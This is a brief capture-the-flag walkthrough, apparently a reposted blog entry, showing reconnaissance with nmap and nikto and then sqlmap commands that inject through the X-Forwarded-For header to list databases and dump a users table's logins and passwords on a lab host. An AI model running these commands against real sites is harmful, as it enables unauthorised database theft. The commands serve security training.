6-3 CTF Capture the Flag Getting Started Tutorial--SQL Injection-X-Forwarded-For Header

1. Information detection

#扫描主机服务信息以及服务版本
nmap -sV 192.168.2.118
#快速扫描主机全部信息
nmap -T4 -A -v 192.168.2.118
#探测敏感信息
nikto -host http://192.168.2.118

2. Vulnerability scanning

#Because AVWS13 was not successfully installed before, so the screenshot
AVWS was not run

3. Vulnerability exploitation

#查看数据库信息
sqlmap -u http://192.168.2.118 --headers="X-Forwarded-For:*" --dbs --batch
#查看数据库中的表信息
sqlmap -u http://192.168.2.118 --headers="X-Forwarded-For:*" -D "photoblog" --tables --batch
#查看表中的字段信息
sqlmap -u http://192.168.2.118 --headers="X-Forwarded-For:*" -D "photoblog" -T "users" --columns --batch
#查看字段值
sqlmap -u http://192.168.2.118 --headers="X-Forwarded-For:*" -D "photoblog" -T "users" -C "login,password" --dump --batch

Guess you like

Origin blog.csdn.net/m0_46622606/article/details/105420480